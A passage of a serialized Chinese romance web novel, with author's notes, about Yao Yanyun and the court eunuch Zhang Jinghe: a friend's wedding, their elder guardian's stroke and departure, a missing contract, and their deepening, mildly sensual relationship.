翌日一早,姚砚云就去了方府。离方淑宁大婚不过三日,新娘子眉眼间满是藏不住的紧张,姚砚云今日来,便是陪她闲话解闷的。 两人聊着家常,姚砚云倒从方淑宁口中听来了些朝堂上的动静——听说当今皇上这几日龙体又欠安,前几日用膳时,连握在手里的银筷都险些拿不稳,好几次滑落在托盘里。听到这话,姚砚云心头才恍然,总算明白为何最近张景和回x府的时间越来越晚。 按婚嫁的老规矩,新娘子婚前这几日该闭门不出,安安心心在房里待嫁才是。可方淑宁在府里闷了多日,只觉得浑身不自在,坐也不是、站也不是。她拉着姚砚云的手晃了晃,眼底满是恳求:“姚姐姐,咱们偷偷溜出去一会儿好不好?找个清静的茶肆坐坐,透透气也好,总比在府里憋得慌强。” 后面两人便偷偷溜出府去了 第108章 自那日两人闹了别扭,明明同处一个屋檐下,却偏生谁也不肯先开口,只隔着一道无形的墙,各自生着闷气。 明日便是方淑宁的大喜日子。姚砚云刚从冯府回来,与芸娘和冯大祥约好了明日同去贺喜吃喜酒,已经说妥了碰头的时辰。 她手里捏着一把鱼食,漫无目的地蹲在池边,玉粒般的鱼食捻了半晌,才指尖一松,任由它们簌簌落入水中。 方淑宁的喜帖,也送到了张景和手上。姚砚云望着水中游弋的锦鲤,心里想着。干爹都能放下过往,去喝这杯喜酒,他总该会去吧?方淑宁是她的好朋友,她多想明日能与他一同前去,见证方淑宁的人生大事。 可转念一想,这两日他明明就守在府里,却连半句软话都不肯说,连个照面都吝于打。一股烦躁陡然窜上心头,她瞥见身后垂手立着的三喜,那点火气竟没头没脑地撞了上来,没好气道:“我都回府了,你还跟着我做什么?” 三喜被她冷不丁一问,愣了愣,忙躬身回话:“姚姑娘,小的这就退下,不扰姑娘喂鱼了。” 其实姚砚云也不是存心为难他,不过是被张景和那副冷冰冰的做派堵得慌,才忍不住迁怒于人。 她恹恹地回了屋,与马冬梅歪在榻上说话。正说着,马冬梅眼尖,往窗外一瞥,脸色微微一变,压低了声音道:“砚云,张公公往这边来了” 姚砚云翻身坐起,急急道:“冬梅,你就说我已经睡下了,我才懒得理他!”话音未落,人已经快步躲进了里间寝室。 马冬梅从屋内推门出去。刚到廊下,便与张景和撞了个正着。她敛衽行礼,恭声道:“张公公,砚云已经歇下了。” 张景和闻言,眸色淡淡,只应了一句:“我知道了。” 他脚下却没停,径直越过马冬梅,往屋里走去。步子沉稳地踏过外间,来到寝室门前,象征性地叩了叩门板,不等里头应声,便推门而入。 见姚砚云侧躺在床上,脊背绷得笔直,瞧着竟像是睡得安稳。张景和缓步走过去,在床沿坐下,低低唤了两声:“姚砚云?” 无人应声。 他俯身凑近,目光落在她颤动的眼睫上,他忽然低低地笑了,起身踱到妆台前,指尖拈起一枝风干的腊梅,回身走到床边,用那微凉的花瓣,轻轻扫过她的脸颊。 “装睡也得装得像些,”他的声音带着戏谑,拂过耳畔,“睫毛抖得这般厉害,哪里像是睡着了的人?” 姚砚云被他一语道破,再也装不下去,猛地坐起身,强撑着狡辩:“我本就睡着了,是被你吵醒的,谁装睡了!” 又问他:“不知张公公这位大忙人,今日怎得有闲工夫,屈尊降贵来看我?” 张景和看着她气鼓鼓的模样,眼底的笑意更深了些,声音软了一些:“还气着呢?” 姚砚云梗着脖子,语气越发带刺:“张公公这是什么话,我怎么敢气你?你可是皇上跟前的大红人,巴结还来不及,哪敢生半分气?” “你!”张景和被她这番夹枪带棒的话堵得一噎,一时竟不知如何反驳。 他沉默片刻,轻哼一声,伸手去扯她的被子:“你这是铁了心,要赶我走?” “小云不敢,”姚砚云说着,便要重新躺下,将被子往身上拉,“张公公若是无事,还请回吧,莫要扰了我的好觉。” “反了你了!”张景和又去拽她的被子。 他素来是不肯低头的性子,此刻却难得放软了语气,哄小孩儿似的,和她说了很多好话,又一点点将她从被子里拉起来,只低声道:“好了,不闹了。” 姚砚云本还憋着一些气,可瞧着他这般难得的低声下气,心尖那点别扭竟悄悄散了。她原想说些硬气的话,算了,他既然先低头了,自己也不必揪着不放。那事儿急不得,总有一日,他会松口的。 两人并肩回了外厅,姚砚云问他:“景和,明日便是淑宁的大喜日子,你会去吗?你会和我一起去的,对不对?” “干爹和芸娘都会去。” 姚砚云眼眸亮了亮,一瞬不瞬地望着他。 张景和道:“那就去吧。” 翌日,天朗气清。 方府朱漆大门外,彩牌楼高耸,红绸漫天,车水马龙络绎不绝,官员命妇往来不绝,门房高声唱喏着宾客名讳,热闹非凡。 姚砚云和张景和随着人流缓步入府,一名小厮快步上前,恭敬地引着二人往正厅而去。 此时的正厅早已人头攒动,往来宾客笑语盈盈,空气中弥漫着檀香与喜庆的脂粉香。两人寻了处角落站定,静静等候了片刻,便听得司仪高喝一声,穿透满堂喧哗:“吉时到——新人拜堂!” 只见方淑宁身着大红凤冠霞帔,被兄长背着,一步步踏上红毡。 人群霎时躁动起来,低声的赞叹此起彼伏。都在夸新郎新娘是如何的般配,这段因缘是如何的好。 司仪清了清嗓子,高声唱喏:“一拜天地——” 厅内人多,视线被挡,姚砚云不由得踮起脚尖,微微仰着下巴往里张望,生怕错过仪式里的半分细节。 张景和的目光落在她这副模样上,心头忽然像是被什么东西轻轻撞了一下,随即漫开一片沉沉的落寞。 哪个姑娘不盼着一场明媒正娶?不盼着红妆十里,八抬大轿,风风光光地嫁入心上人门中,受万众瞩目与祝福呢?他心里想着,指尖不自觉地蜷缩起来。她此刻望着这热闹喜宴,心里大抵也是失落的吧 他还记得那日在马场,她认真地说出了自己的择夫标准。她那样骄傲的一个人,定也盼着一场万众瞩目的出嫁吧,又怎么会甘心嫁给一个阉人? 就算她此刻一时糊涂,愿意暂且待在自己身边,若有朝一日,他说想娶她,她一定会吓死吧。 不多时,夫妻对拜的礼成声响彻喜堂,喜娘们簇拥着一身红妆的新人往后院新房去,宾客们也纷纷散去,或往花厅赴宴叙话,或簇拥着往新房讨喜看热闹。 姚砚云转身便往新房方向去,想趁着隙间见见方淑宁,说几句贴心话。张景和望着她轻快的背影,沉默片刻,转身走向了喧闹的花厅。 花厅内早已摆好宴席,张景和被引至一桌,同桌的正是张默与几位相熟的官员。往日里他向来少沾酒盏,今日却反常地主动端起了酒杯。张默见他难得有兴致,不由笑着劝酒,一杯接一杯地递过去。 张默笑着打趣:“今日张大人倒是有兴致,看来这喜酒得多喝几杯才是。”说着便拿起酒壶,替他满斟了一杯,又将自己的酒杯凑了过来。 张景和也不推辞,仰头便饮。 姚砚云与方淑宁絮絮说了许久的话,直到喜娘过来催,这才依依不舍地起身离去。 宴席散时,姚砚云按照约定,在府门外的庭院里等候张景和。不多时,便见他被小厮搀扶着走了出来,脚步虚浮踉跄,身形都有些不稳,显然是醉得不轻。姚砚云连忙上前两步,伸手想搭个手,鼻尖先闻到了他身上浓重的酒气。 她想着,今日本就是来喝喜酒的,醉了也寻常,可转念一想,待会儿还要与芸娘他们同乘一辆马车,这般满身酒气总归不妥,便唤了个丫鬟,引着二人往盥室去了。 姚砚云舀了温水打湿巾帕,细细替他擦拭脸颊。指尖刚触到他温热的皮肤,手腕便被张景和猛地攥住。 他眼神迷离,哑着嗓子问:“你是不是也想这样?你也期待过吧。” 姚砚云满脸困惑,反问道:“我想什么?” 被她这么一问,张景和像是被抽走了所有力气,攥着她手腕的力道渐渐松了,嘴唇动了动,却终究没再说出一个字,只是依旧用那副迷蒙的眼神望着她。 姚砚云只当他是醉糊涂了,轻轻挣了挣手腕,见他松了力道,便继续用温热的巾帕替他拭去脸上的酒气。 擦净了脸,张景和又依x着她的吩咐漱了口,混沌的脑子总算清明了几分。二人出了盥室,寻了片刻,便在府门口见到了等候已久的芸娘和冯大祥,于是就一同登上马车返程。 马车内,芸娘嗔怪地看了冯大祥一眼,轻声埋怨:“你也是,一把年纪了,还喝这么多酒。” 冯大祥只是嘿嘿笑了笑,没接话,靠在车壁上闭目养神。 马车稳稳停在冯府门前,芸娘叫姚砚云与张景和一同入府喝茶。众人刚下马车,正要往府里走,冯大祥忽然开口,说有东西落在车上,要转身回去取。 姚砚云无意间回头瞥了一眼,却见冯大祥的脚步愈发踉跄,像是踩在棉花上一般。她心头一跳,下意识停住脚步定睛细看。谁知下一瞬,冯大祥身子一软,竟直直地向后倒去! “干爹!”姚砚云惊呼一声,想也不想地冲了过去。可终究慢了一步,等她赶到时,冯大祥已经重重摔在了地上—— 作者有话说:来晚了,今晚我尽量早点更!!! 第109章 冯大祥这是中风了。他本就已六十二岁,身子早不复往日硬朗,偏那日又饮了些酒,气血翻涌间,竟骤然发了这急症。 他晕倒后,府中顿时乱作一团。芸娘急得六神无主,后面宫里的太医也来了。可太医诊脉后,言语间竟带着束手无策,只说冯大祥此番病情凶险,怕是命不久矣。 芸娘听得这话,当即哭得肝肠寸断,瘫坐在床边动弹不得。好在张景和还算镇定,一面安抚芸娘,一面立刻让人去请常圣手。 挨到第三日,冯大祥的身子总算有了些起色,手指能微微动弹,也能勉强睁眼看人了。 姚砚云与张景和往冯府去探望。,冯大祥病情稍有缓和,两人稍稍松了口气,又陪着芸娘细细说了好一会儿宽心话,才起身告辞回府。 走在路上,姚砚云始终有些心不在焉。方才芸娘强撑着笑意,眼底却满是憔悴与惶然的样子,让她心里很是难受。 芸娘是她来到这异世之后,第一个主动对她好的人,她见不得芸娘这般模样 思绪纷乱间,姚砚云的脚步渐渐慢了下来,不知不觉间,竟与张景和的步伐拉开了长长的一段距离,自己却浑然未觉。 张景和走出数步,察觉身侧没了动静,回头一看,当即折返回来。他没有多问,只是轻轻握住她微凉的手,拉着她重新迈开脚步,一同往回走去。 这日之后,张景和一连十多日未曾回府。姚砚云则日日往冯府跑,一来是记挂着冯大祥的病情,二来也是想守着芸娘,看看有没有能搭把手的地方。 半月后,张景和总算得了空出宫。他先绕去了冯府探望冯大祥,刚进门,便撞见陈秉正与几位同僚也在府中。他原本打算看过冯大祥便回府,谁料陈秉正几人兴致正浓,又拉着他去了鸣玉楼。 张景和本不想去,最后被他们半拉半拽地请上了马车。 鸣玉楼里,酒过三巡,户部的王大人满面红光,拍着桌子高声道:“诸位可知?西契那边传来捷报!我军大获全胜,总算是挫了那帮蛮夷的锐气!” 他又凑近了一些,压低了声音,语气里满是赞叹:“听说啊,这次大捷全靠一位参军不过半年的小将。那小子一箭便射毙了西契的首领,敌营顿时乱作一团,我军才得以趁势掩杀,一举荡平了敌寇!” 陈秉正闻言,笑道:“此事我也略有耳闻。今日早朝,万岁爷还特意提了一嘴,说等那小将回京叙职,定要重重嘉奖!” 王大人与陈秉正聊得热火朝天,也喝得开心。唯有张景和,自始至终都没沾半分酒,只静静坐在一旁。 他想回府 奈何那两位都是十足的话痨,一杯接一杯地喝,一句接一句地聊,足足耗了一个多时辰,这场酒局才算散了。陈秉正率先告辞离去,张景和便与王大人留在楼上,又静坐了片刻。 恰在此时,窗外淅淅沥沥下起了小雨。张景和转头看向王大人,温声道:“雨势渐大,不如你同我一道坐轿回去?” 王大人却摆摆手,脸上漾着憨笑:“多谢张公公好意。我家离此地不远,出门前我便同内人说了,今日要在此处饮酒。估摸着,她这会儿该提着伞来寻我了。” 张景和闻言,淡淡颔首:“那好吧。” 话音刚落,王大人忽然朝窗下望了一眼,眼中霎时亮起光来。他连忙起身作揖:“张公公,那我就先告辞了!” 说罢,便急匆匆地往楼下赶。张景和循着他的目光望向窗外,只见昏黄的灯笼光晕里,王大人快步走到檐下,伸手替立在那里的妇人拭去颊边的雨水。妇人仰头望着他,眉眼弯弯,两人相视而笑起来。 这便是被人放在心上、等着回家的滋味吧。 这一刻他心里也激动了起来,他忽然意识到,自己也不再是孤身一人了。张府的那盏灯下,此刻也正有一个人,在等着他归去。 念及此,他再不迟疑,当即唤来车夫:“备轿,回府。” 张景和踏进门时,姚砚云正捧着一碟绿豆糕,小口小口地啃着。 “这么晚还吃东西?” 熟悉的声音落进耳里,姚砚云猛地抬头,撞进他含笑的眼眸里,当即放下碟子起身,快步上前拉住他的衣袖,将人拽到桌边的杌子上坐下:“你吃晚饭了吗,你这次半个月都没回来。” 张景和道:“干爹病倒后,宫里的不少事都压到我身上了,这阵子怕是都得忙些。” 他顿了顿,目光落在她带着点心碎屑的唇角,忍不住伸手替她拭去,又似笑非笑地看着她:“我不在的这半个月,你没胡闹,或是闯什么祸吧?” 姚砚云撇撇嘴,顺势倚在桌边看他:“你都不在府里,我能闹什么?” 张景和心里想着,姚砚云对旁人向来客客气气,规规矩矩的,唯独在他面前,总是有使不完的招数,闹不完的事,他也说不清这是好是坏,只想着,只要她能开开心心的,便由着她去,纵着她便是了。 他认了就是。 “量你也没这个胆子。”他故意板着脸道。 半个月未见,心底的依恋翻涌上来,姚砚云忽然伸手环住他的手臂,脸颊轻轻蹭着他的衣袖,声音软得像一汪春水:“景和哥哥~人家很乖的~” 那声娇软的称呼,酥酥麻麻地钻进耳朵里,张景和只觉耳根一阵发烫,心跳都漏了半拍,忙别过脸,佯作严肃地斥道:“好好说话!” 姚砚云见状,问他:“怎么,你这是不信我?” 张景和想了想说:“相信。” 见他松口,姚砚云眼睛一亮,连忙凑得更近了些:“景和,既然你都信我了,那我跟你商量件事呗?” 张景和问:“什么事。” “以后我出门,你能不能别让三喜总跟着我了?”姚砚云拉着他的袖子轻轻晃了晃,小声提议,“你要是实在不放心,多派几个小丫鬟跟着我便是了,横竖都是你的人。” 姚砚云出门出得勤,其实三喜跟着倒是没什么,可自从那次,她和方淑惠去了青筠馆之后,只要她一出门,三喜巴不得粘在她身上,好像她只要离开他的眼下一瞬,她就会飞走了似得! 她也知道,这自然是张景和吩咐的,可被人这般盯着,总像是揣着什么心事似的,连喘口气都觉得不自在。 张景和闻言,定定看了她半晌,又笑了笑:“你想都别想。” 姚砚云: 幻想破灭,姚砚云一下子就没那么开心了。 张景和瞧着她这副模样,问她:“怎么?莫不是想支开三喜,好找机会逃跑?还是说,想趁机去见什么人?” 姚砚云简直哭笑不得,她没想到他想象力还是这么丰富,她解释道:“我知道你是关心我,那你多派几个丫鬟跟我也可以啊,不都是你的人吗?” 张景和还是笑了笑:“你别想了。” 见姚砚云撅着嘴不吭声,张景和忽然话锋一转:“行吧,那我给你换个人。” 姚砚云眼睛倏地一亮,忙追问:“好啊好啊!那换谁?” 张景和道:“富贵。” 姚砚云: 她算是看明白了,再聊下去也是白费功夫,索性闭了嘴不再提这事。没过多久,张景和揉着额角说有些头痛,姚砚云立刻搬了张杌子坐在他身侧,伸手替他按揉起来。 她的力道不轻不重,揉得张景和浑身的倦意都散了大半,连话都懒得说了,只x阖着眼惬意地靠着。 正按得舒服,姚砚云像是忽然想起什么要紧事,猛地停了手,一把将张景和拉了起来,脸上满是认真:“景和,我东西被偷了!我找了好久都没找到,马冬梅和小元也让她们找过了!就是找不到” 张景和的神色瞬间凝重起来,眉峰一蹙:“我张府里竟还有敢偷东西的贼?真是活腻歪了!” 又问她:“你不见的是什么东西?衣裳还是首饰。” “都不是,”姚砚云急急道,“我寝室里有个柜子,里面放着个木匣子,匣子上有你之前给我的那份契约!今日我去看,契约竟然不见了!而且匣子里还放着些首饰,我疑心那贼是怕偷太多太惹眼,只敢拿一两件走。 “可惜我当时没数过,现在也说不清到底少了多少。我就是想不明白,他干嘛非要拿那份契约?他要是不拿,我还发现不了东西被偷了呢!” 她越说越笃定,握着张景和的手臂道:“我看啊,这人定是个惯偷!那木匣子明明是上了锁的,他竟能不破坏锁就把东西拿走,手法也太利落了!” 张景和听得脸上一阵红一阵白,眼神不自觉地飘了飘,强装镇定地反问:“会不会……是你自己放错地方了?” “怎么可能!”姚砚云道,“又不是十几年前的陈年旧事,我怎么可能记错!” 张景和又干咳两声,拿起手边的话本胡乱翻着,状似不经意地问:“你好端端的,找那份契约做什么” 姚砚云道:“我今日在整理我屋里的东西,就闲得没事打开了,谁知道一打开才知道!竟然被偷了。” 张景和翻书的动作顿了顿,轻描淡写地说:“不见了就不见了,多大点事首饰我重新给你买过。” “那怎么行!”姚砚云急了,“必须查出来是谁干的!这次偷我的,下次指不定就去偷旁人的了,这还得了?” 张景和含糊地应了一声:“应该……不会吧?” 姚砚云看着他这副漫不经心的样子,心里满是纳闷。她素来知道张景和是个极严谨的人,府里出了这等事,按说他该雷霆震怒才对,可他此刻竟这般无所谓,实在不像是他平日里的作风—— 作者有话说:小云:到底谁偷的!给我出来! 第110章 春尽夏来,暑气骤然漫了上来。 今日城门口人声攒动,姚砚云与张景和正随着人群,送芸娘和冯大祥归乡。 冯大祥的身子先前已见好转,谁知上月中旬旧疾陡发,日渐虚耗。他觉得自己怕是时日无多,执意要回故土了此残生。皇上起初不舍他离去,经他再三叩请,才终于松口恩准,许他回乡休养一年,待身子好转再回宫中效力。 送行的人排了一长串,挨个立在马车前,等着与冯大祥说几句临别赠言。 姚砚云紧紧抱着芸娘,眼泪止不住地往下掉,满心都是不舍。 芸娘轻轻拍着她的背,温声安慰:“不过是回乾州罢了,算不上太远。你要是想我,便寻个空来寻我便是。” 说罢,她又伸手拭去姚砚云颊边的泪:“往后啊,要是玄英敢欺负你,你只管写信给我。我在京师这些年,可不是白待的,照样有人能替你收拾他。” 姚砚云脸上却终于有了一些笑意。 张景和先前跟她说过乾州的路程——从京师出发,若日夜兼程不歇脚,乘马车约莫两日可到。话虽如此,她心里却是明白,在这交通不便的朝代,人一旦分赴两地,再见便难如登天了。 又耽搁了半晌,冯府的管家上前催促,说时辰不早该启程了。姚砚云这才恋恋不舍地松开芸娘,目送她登上马车。 车夫已扬起马鞭,正要催动马车,冯大祥却突然让人传话,唤陈秉正与张景和进马车说话。过了好一阵子,陈秉正率先出来,脸色沉得能滴出水来,随后张景和也出来了,也是黑着个脸。 只是姚砚云此刻满心都是与芸娘离别的伤感,哪里还有心思去猜度其中缘由。 直到那支归乡的车队彻底消失在路的尽头,再也看不见踪影,姚砚云才收回目光,与张景和一同登上马车,缓缓回城去了。 —————— 巧慧也终于来了京师。她那寒门出身的夫君,竟是争气得很,一举考中了进士。因家境清寒,实在摆不起铺张的喜酒,便只邀了彼此相熟的友人,到家中吃了一席便饭。这时候啊芳也早已诞下了孩儿。 姚砚云与马冬梅这日赶了过去,昔日宫里的四人,竟难得地又聚在了一处。她们照旧同卧在榻上,絮絮叨叨说了半晌的话,又聊起了在宫里的那些日子。姚砚云心绪欢畅,竟也破例饮了几杯薄酒。 待回到张府时,她身上的酒气已然漫开。张景和一闻见,眉头当即蹙起,狠狠瞪了身旁的三喜一眼,转而沉声问她:“好端端的,喝什么酒?” 又板着脸,追问道:“今日去了哪里?又同谁喝的酒?” 姚砚云眉眼含笑,偏要逗他:“自然是同男子喝的啊。” “你!”张景和一时语塞,语气陡然拔高,“你给我说清楚!” 一旁的三喜吓得魂都快飞了,连忙上前躬身解释:“老爷!姚姑娘是同你说笑呢!她今日,是与从前宫里的几位姐妹聚在一处,才喝了几杯的。” 姚砚云这才敛了笑意,将巧慧夫君高中进士、设便宴款待众人的事,细细说与他听。 张景和听罢,脸色这才缓和下来,不再多言,只催着她:“快去洗漱了,早些歇着吧。” 夜色沉沉。张景和才从书房出来,一身倦意地伸了个懒腰,转身往寝室去。屋里并未掌灯,只借着窗棂外透进来的一点月色,他摸索着取了个小烛台,点亮了烛火,将它搁在桌案上,便预备解衣就寝。 谁料手刚碰到锦被,一扯之下,竟触到一片温热柔软。他心头猛地一跳,定睛细看,才发现被中竟蜷着个人! 吓得他差点尖叫出来。 “姚砚云!!!你是不是喝多了糊涂了?你这是在做什么!”张景和立在床边,压低了声音质问她。 姚砚云从被子里探出半张脸,眼波潋滟:“我没醉。不信你伸出手指,我数数给你看。” 张景和: “夜深了,过来睡吧。”姚砚云朝他勾了勾手指,语气带着几分娇憨,“我又不会吃了你,你怕什么?” 张景和嘴硬道:“谁怕你了!我怕你做什么,你有什么好怕的。” 姚砚云似笑非笑地睨着他,忽然歪了歪头:“难道是因为我今天喝酒的事,你心里不开心?” “我才没有!”张景和急忙辩驳,“我才没有你说得那么小气!” “那便过来呀。”姚砚云笑得狡黠。 说完又朝他招招手。 那模样,竟像是在逗弄檐下的猫儿狗儿。张景和心里一阵别扭,暗下决心,明日定要叫锁匠来,给这寝室的门换把新锁,看她往后还怎么悄无声息地溜进来! 正想着,脚步却不由自主地挪了过去。 他刚在床沿坐下,身侧的姚砚云便伸手去解自己的里衣系带。 指尖捻着那根朱红绳结,轻轻一扯,绳扣便松了开来。素色的纱质里衣微微敞开,露出颈下一抹嫣红的肚兜边缘,衬得肌肤愈发莹白细腻。张景和惊得心头一颤,慌忙伸手按住她的手,声音都带了急急的颤:“你、你、你脱衣服做什么!” “这般闷热的天,裹着这么厚的衣裳,怎么睡得着哦。”姚砚云眨了眨眼,语气理直气壮,带着一点点羞赧。 张景和喉结滚了滚,强作镇定地找补:“其实……其实我也是这般想的。那不如这样,你回自己屋里睡,两人挤在一处,才更热。” 姚砚云却不依,反倒倾身过来,双臂轻轻环住他的腰,温热的气息拂过他的耳畔,软声道:“我不。” 话音落,她竟又自顾自地去解衣带。张景和只觉心跳如擂鼓,掌心都沁出了汗,吓得魂儿都快飞了,连声催促:“你快把衣裳穿上!” 姚砚云偏不听。张景和见她没有半分收敛的意思,只得伸手去拉她。 两人一个要脱,一个要拦,竟在窄窄的床榻上闹作一团。混乱间,姚砚云猛地起身,没控制好力道,额头竟直直撞在了张景和的嘴角。 一阵细x微的刺痛传来,张景和闷哼一声。姚砚云也懵了,抬眼望去,只见他唇角竟渗出了一丝血迹。 昏黄的烛火摇曳,映着他披散的墨发,衬得那张略带薄怒的脸,竟添了几分平日里少见的狼狈。他微微喘着气,眸色沉沉地望着她。 看着他那丝殷红的血迹,姚砚云的心,忽然像被什么东西轻轻挠了一下,痒得厉害。一股说不清道不明的冲动,从心底悄然蔓延开来。 她鬼使神差地凑近,伸出舌尖,轻轻舔/。过他唇角的那丝血迹 柔软的触感,带着淡淡的腥甜,瞬间击中了张景和。 他猛地僵住,一双眸子骤然睁大,满是惊愕地望着近在咫尺的她。 四目相对,空气仿佛都凝滞了。 下一瞬,不知是谁先动的手,两人竟相拥着倒/。在了床榻之上,翻滚间,姚砚云的里衣早已被揉得不知所踪。 唇齿相依,辗转厮磨,不知过了多久,两人才气喘吁吁地分开。张景和望着怀中面色酡红的女子,心头翻涌着惊涛骇浪。 方才的他,很是失态,他恨不得把她生吞活剥了!恨不得把她融/。入自己身体里面! 可他再失态,也只能这样了,想到这里,一丝失落悄然漫上心头,又起身找到她的里衣,帮她穿了起来。 “歇息吧”他说了一句。 姚砚云却意犹未尽,他想到他刚才的动作,还以为他会有下一步,可到关键时刻,他又停下了 到了今时今刻,她心底的渴望早已不止于此,可这份迫切又让她暗自忐忑,自己这样会不会不好呢?万一万一他对自己并无那般心思呢? 她轻轻挪动了一下身子,忽觉掠过一丝凉意。低头一怔,这才发现小衣已经湿了 还真是让人苦恼 哎!她真的是没救了 两人相对无言地躺了许久,就在姚砚云以为他早已睡熟时,张景和忽然低声开口:“你怕不怕?” 姚砚云微怔,下意识侧过脸,目光落在他的背上,轻声反问:“怕什么?” “干爹干娘离了京师,你在这京城里,便没了靠山。”他的声音很轻,却字字清晰。 姚砚云道:“不怕,我还有景和你呀。” 话音落,她又忍不住追问:“那你呢,你是怎么想的?你可愿意?” 张景和闻言,当即转过身,长臂一伸便将她紧紧拥入怀中:“你要是愿意,我就愿意。” 他顿了顿又道:“砚砚,只要你肯待在我身边,我什么都能依你。寻常姑娘家有的凤冠霞帔、锦衣玉食,我能给你,寻常姑娘家没有的尊荣体面、随心自在,我也能给你。我会护你一世周全,绝不让人欺你半分。” “你若是愿意,我明日便召集府里上上下下,当众认你为张府的当家主母,府中大小事务,全听你做主。往后除了离开张府这件事,你想做什么都无需问我,尽可随心。” 姚砚云将他这番话一字不落地听进心里,暖意像温水般漫过四肢百骸,甜丝丝的欢喜缠在心头,让她连眉眼都软了下来,他这算是对自己表白吗? 张景和听到她浅浅的笑声,却不说话,便又轻声追问:“我刚才说的,你都听明白了吗?” 姚砚云点点头,抬手环住他的脖颈,微微仰头,在他的额头上轻轻印下一个柔软的吻:“我听明白了。”—— 作者有话说:生理性喜欢是这样的啦《 》 110-120 第111章 这日,啊芳抱着刚满数月的孩子,和巧惠一同来张府找姚砚云和马冬梅。那孩子生得白白胖胖,浑身软乎乎的,瞧着便讨喜。姚砚云见了欢喜不已,连带着马冬梅和巧惠也围了上来,你一言我一语地逗着,争相要抱一抱。 起初,啊芳无意间问起巧惠打算何时要孩子。巧惠余光瞥见姚砚云,想起她的特殊境况,连忙眨了眨眼,暗中示意阿芳别再往下说。 姚砚云倒没往心里去,她本就对生儿育女毫无念想,此刻只当是寻常闲谈,全然不放在心上。 几人在踏月轩内什么新鲜事都要聊一下,欢声笑语不断。恰在此时,张景和从宫中归来。他刚下马车,便径直朝着踏月轩的方向走去。才踏入院子,那阵清脆的笑语便传入耳中,再走近些,竟听见姚砚云温声哄逗孩子的声音。 他脚步一顿,悄悄凑到门边,透过门缝往里望去——只见姚砚云怀抱着那小婴儿,眉眼温柔,正轻轻拍着孩子的背,还不时低头在孩子软乎乎的脸颊上亲上一口。 望见这一幕,张景和的脚步骤然停住,竟就这样静静地立在门外,凝望了她许久。他将她脸上的欢喜与温柔看得一清二楚,心中不禁暗想,原来她竟是这般喜欢孩子 一时之间,他心中思绪万千,心口有种说不出的郁闷,最终还是轻轻转身,默不作声地离开了。 没走几步,便撞见小元端着一碟新鲜果盘,正要往屋内走去。 小元方才路过时,已瞥见老爷在门边伫立却未进去,此刻见了他,便走上前问道:“老爷,你是来找姚姑娘的吗?要不要奴婢进去通传一声?” 张景和摇了摇头,沉声道:“不必了。” 说罢,他便继续往前走,可刚走了两步,又忽然回头叫住小元,叮嘱道:“别同她说我来过。” 回到了望雪坞,他先是换了一身常服,方缓步踱进了书房,他刚在木案前落座,便听得门外传来轻叩之声。府中仆役垂首躬身,捧来一物呈上。他接过那物,随手搁在案角。 另一边的踏月轩,日头渐渐西斜,巧惠与啊芳才抱着熟睡的孩子起身告辞。姚砚云将她们送至府门口,又细细叮嘱车夫路上慢行,看着马车辘辘远去,才转身往回走。 行至抄手游廊的拐角处,恰撞见守在侧门的老门房曾叔。 曾叔见了她,笑着道:“姚姑娘,前日有位信客送来一封姑娘的信,小的给你送来了。” 姚砚云心头一动,想来是芸娘给她写信了,顿时开心了起来,忙伸手接过:“劳烦曾叔了。” 她捧着信,脚步轻快地回了自己的屋子,坐到了窗边的软榻上,迫不及待地拆开信封。起初,她唇边还带着笑意,可越往下看,那笑意便一点点敛了去,到最后,黑着个脸 正怔忡间,门外传来马冬梅的声音,说是张景和从宫里回来了。 姚砚云听到后,应了一声,便起身理了理衣襟,往望雪坞的方向去了。 “听说你昔日宫里的旧友,今日来府里寻你了?”张景和抬眸看她。 “是啊,”姚砚云颔首,“她们刚走没多久,你若是早回来片刻,说不定还能遇上呢。” 话音刚落,张景和便定定地望着她,目光专注,似要将她脸上的神情瞧个透彻。姚砚云被他看得不自在,抬手摸了摸自己的脸:“你这样一直看着我,莫不是我脸上沾了什么东西?” 张景和低笑一声,收回目光,转而问道:“我离府这五日,府里可有什么事发生。” “那倒是没有,我可老实了。”姚砚云摇了摇头,将这几日的琐碎一一说与他听,无非是就是她每日做了什么,皆是些寻常乐事。 张景和静静听着,待她说完,才慢悠悠开口,问她:“上次我和你说的,集府中上下人等,当众认你为张府当家主母,由你执掌府中大小事务,你考虑地怎么样了?” 姚砚云闻言,不假思索地摇头:“我素来懒怠,最不喜管这些俗务。此事还是算了吧,如今这般无拘无束的日子,倒更合我心意。” 张景和听了,只是点了点头,目光微沉,却没再多说什么。 随后二人一同用了晚膳,姚砚云又拉着张景和在庭院里散了一会儿步,就当做是消食了。 张景和又和她说,最近这段日子,他宫里的事情多,会比较少回府了。 姚砚云挽着他的手紧了紧,仰头冲他笑:“知道了,我在府里等着你就是了。” 夜晚,在姚砚云的软磨硬泡下,终究还是歇在了望雪坞。 只是她躺进被窝里,依偎在张景和身侧时,却明显觉出他今夜兴致不高。姚砚云只当他是白日在宫里操劳太过,累着了,便也没多言语,只是安安静静地窝在他怀里,不多时,她便沉沉睡去 ———— 时间转眼就来到了乞巧节。 往年的京师,七夕不过是闺阁女子设案乞巧x的寻常日子,算不得什么盛大节庆。偏巧这一年,西契战事捷报频传,连破数城,龙颜大悦之下,便借着乞巧的名头,诏令全城大办灯会,与民同乐。 夜幕初垂,整座京城便被灯火点亮,爆竹声、嬉笑声此起彼伏,一派热闹喧腾。姚砚云原是盼着与张景和同去逛灯会的,可他宫里的差事缠身,脱不开身,姚砚云也不强求了。 今晚她便带着马冬梅与三喜,一同出了张府,汇入街上的人潮里。沿街的摊贩支起花灯,不时有烟花窜上夜空,炸开漫天璀璨,恰好映出往来行人脸上的笑意,暖融融的一片。 姚砚云瞧着身旁并肩而行的两人,忽而心念一动,促狭地看向三喜,笑着问他:“三喜,你可有心仪的姑娘?” 三喜闻言,脸腾地一下红透了,连耳根都染上绯色,讷讷摆手:“姚姑娘说笑了,我……我我没有。” 话音刚落,恰好路过一个卖荷包的摊子。摊主正摇着拨浪鼓,高声吆喝:“走过路过瞧一瞧嘞!上好的锦绣荷包,都是求过月老的!买一个送与心上人,保准他一辈子心心念念,只宠你一人!” 姚砚云眼梢一挑,指着那挂满荷包的摊子:“你不给冬梅买一个?” 她早看出三喜对马冬梅的那点心思,此刻恰逢马冬梅被隔壁的糖画摊吸引,转身去看热闹,便趁机将这话点破。 三喜被她说得手足无措,手都不知往哪儿放,只一个劲儿地挠头:“姚姑娘,你……你别拿我打趣了。” 姚砚云笑得眉眼弯弯,又道:“你害什么羞?你那点心思,明眼人都瞧得清楚,也就马冬梅那般心大,半点没看出来罢了。” 